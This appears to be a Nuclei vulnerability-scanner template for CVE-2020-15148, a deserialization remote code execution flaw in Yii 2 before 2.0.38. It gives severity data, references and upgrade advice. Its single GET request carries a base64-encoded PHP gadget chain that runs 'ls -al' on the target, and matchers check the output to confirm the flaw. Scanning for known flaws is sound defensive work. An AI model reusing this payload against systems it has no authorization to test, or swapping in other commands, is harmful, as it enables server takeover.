id: CVE-2020-15148

info:
  name: Yii 2 < 2.0.38 - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: Yii 2 (yiisoft/yii2) before version 2.0.38 is vulnerable to remote code execution if the application calls `unserialize()` on arbitrary user input.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: Upgrade to version 2.0.38 or later. A possible workaround without upgrading is available in the linked advisory.
  reference:
    - https://blog.csdn.net/xuandao_ahfengren/article/details/111259943
    - https://github.com/nosafer/nosafer.github.io/blob/227a05f5eff69d32a027f15d6106c6d735124659/docs/Web%E5%AE%89%E5%85%A8/Yii2/%EF%BC%88CVE-2020-15148%EF%BC%89Yii2%E6%A1%86%E6%9E%B6%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E.md
    - https://github.com/yiisoft/yii2/commit/9abccb96d7c5ddb569f92d1a748f50ee9b3e2b99
    - https://github.com/yiisoft/yii2/security/advisories/GHSA-699q-wcff-g9mj
    - https://github.com/20142995/sectool
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2020-15148
    cwe-id: CWE-502
    epss-score: 0.93433
    epss-percentile: 0.99824
    cpe: cpe:2.3:a:yiiframework:yii:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: yiiframework
    product: yii
  tags: cve,cve2020,rce,yii,yiiframework,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?r=test/sss&data=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6Njoic3lzdGVtIjtzOjI6ImlkIjtzOjY6ImxzIC1hbCI7fWk6MTtzOjM6InJ1biI7fX19fQ=="

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "total"
          - "An internal server error occurred."
        condition: and

      - type: status
        status:
          - 500
# digest: 4b0a00483046022100c6c4df3d30b27e6e2aaf72c5782fa2e6189c3e580ab22fb612c6fdb430417e3c022100879e3d27b9fcc6d722b81fd3ed95e12c70310f94d666797f4b1aca109910e608:922c64590222798bb761d5b6d8e72950